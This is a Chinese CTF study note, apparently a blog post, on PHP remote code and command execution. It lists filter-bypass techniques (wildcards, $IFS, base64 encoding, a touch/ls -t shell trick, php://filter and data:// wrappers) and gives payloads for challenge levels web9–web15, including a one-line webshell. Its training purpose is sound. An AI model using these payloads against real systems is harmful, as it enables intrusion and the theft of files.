前言
知道RCE 命令执行分为 代码执行 和 命令执行
原理 : 就是用户的输入被当做命令或者代码执行了 从而造成了危害
代码执行
除了eval
php代码执行漏洞的函数还有
eval()、a
ssert()、
preg_replace()、
create_function()、
array_map()、
call_user_func()
、call_user_func_array()
、array_filter()、uasort()
演示一下
x的本意不是 让你执行代码 而是让你搜索你想要的页码 所以代码执行就是 用户的输入误被当做了 php代码运行
命令执行
命令执行和上边的这个其实区别不大 除此之外命令执行 有system()、exec()(这个也需要输出)、shell_exec()(缺点是没有回显需要echo进行输出)、pcntl_exec()、popen()、proc_popen()(这两个需要输出 不能直接的使用)、passthru()
这些函数 这个需要做个快捷笔记 因为ctf中大多会使用这个 执行一下
这两个都有个相同点 1、可控的变量 2、 相应的函数 这就是为什么RCE包含这两种:就是因为两者可以互相转换 : 代码执行 加上 system() 就可以运行 命令 命令执行 加上代码环境一样可以运行脚本
这两者的含义还是比较简单的 难的是过滤
白盒(ctf)测试
以下是我写的基本的过滤
绕过:
1、通配符 转义符 绕过 文件名被禁用
cat f?????? // ?表示占位符
cat fl\ag* // * 表示 贪婪匹配 多个字符
2、使用``绕过
``的意思是 在linux中执行命令
cat `ls` (查看 ls 命令下的全部 文件)
3、参数的逃逸
你让a!=flag 关我b什么事
eval($_GET[1]);&1=system('tac flag.php'); &是参数链接符
4、拼接法
a=fl;b=ag;cat $a$b;
5、如果空格也被禁用了
可以使用空参数来代替 ?:就是 这个参数如果没被定义就会被当做空执行
使用空变量$*和$@,$x,${x}绕过
ca$*t fl$*ag
ca$@t fl$@ag
ca$5t f$5lag
ca${2}t f${2}lag 这些都是变量但是变量没有声明所以就不会报错
%09(url传递)(cat%09flag.php)
cat${IFS}flag //使用这个IFS
a=fl;b=ag;cat$IFS$a$b
{cat,flag}
6、编码绕过(注意一点 就是需要调用解码的函数)
如果 tac 被禁用 使用base 64 解码
`echo dGFj | base64 -d` flag
注意: `` -d 必须写
如果flag被禁也可以
tac `echo ZmxhZwo= | base64 -d`
7、绝活 : 没办法再用
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell
sh shell
这个的原理 : 利用shell脚本进行直接的执行 ()
這個就是使用的特性进行的 shell文件内就是 \\是换行 怕输出在一行 就会出现被过滤的情况
# \指的是换行
# ls -t是将文本按时间排序输出
# ls -t >shell 将输出输入到shell文件中
# sh将文本中的文字读取出来执行
8、异或和或
这个就是更是ctf常客 :过滤0-9a-zA-Z 不让你使用大多数的符号
异或:rce-xor.php & rce-xor.py
或:rce-xor-or.php & rce-xor-or.py
异或 或 就是字符的另一个表示方法
9、查看命令被禁用
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag (取反)
当然还可以进行其他的操作 `cp flag.txt 1.txt` 直接访问就行了(这个需要权限)
10、伪协议玩法:(配合文件的包含直接无敌)
include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
当有 () 过滤时使用 且 ; 被过滤
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
当然 如果参数的限制不多就 不用进行逃逸
?b=php://filter/read=convert.base64-encode/resource=flag.php
10、 ;被禁用 同时禁用我们的 cat 和 关键字 flag
?c=passthru('') ?>
?c=echo `tac con*`?>
那就直接练起来
一共是以下这些题
web 9 :
解读一下 这个 pre_match 正则匹配 模式 简单点说就是搜索的(/i 表示大小写不再敏感 后边加参数表示 $c只能是括弧内的东西 )
玩一下
第一关没什么过滤直接下一个、
web 10
这个必须给你们整活
?c=echo `$_POST[a]`;
一定要复制我这个 payload 我这个是放 markdown 转换的 (因为这个mark格式会把 `` 当做强调符号)
这个其实不就是一句话木马的写法嘛
当然还有其他的方法 : 使用别的命令执行函数 这边我常用的就是 passthru() 因为他不需要重输出 所以非常的好用
这一关干活少 下一关
web 11
cat 没了 cat非常不好用 建议使用tac 当然如果tac也被禁用了 可以使用more
当然 我得上个绝活 就是上边 那个shell 那个绝活 这个比较难理解 实际上利用的是 shell的属性
这个ls -t 的内容就是 tac config.php 之后sh shell 就出结果了
web12
这一看 唉我去 config php 怎么没了 那我搞个毛啊
这个就需要我们上边笔记的通配符出手了
当然你也 可以直接写 tac c* 因为 *是贪婪运算 当然你说我不想使用这个 不理解不理解
\转义符都知道吧
一样可以直接拿下 那为什么不 p\hp 呢 禁用看. 没办法呀
web13
把 ; 禁了 代码执行不都需要 ; 这个嘛 禁了我还搞个寄啊 知识点一个 : 就是如果php代码中 我们写的是<?php?> 内的最后一个代码 那不需要我们写 ; 那怎么判断是不是最后一个 这个不好判断 那我们就构造呗 phpinfo()?> 直接这样不就是最后一个代码了嘛
还有一个操作就是伪协议的玩法(需要你有文件包含漏洞的一些基础)
解析一下还是先闭合、
?c=include $_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php
include $_GET[a] 这个表示包含我们传入的get参数 后边就是伪协议的 用法 提示 :得出来的内容是 base 64 加密的 需要进行解密
web14
不需要 ()的 建议直接使用伪协议
做法和上边的一样 payload一样
web15
上边的payload ?c=include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php 换一下直接拿下
返璞归真 第二种方法就是我们上边的一句话木马的方法
至此白盒测试结束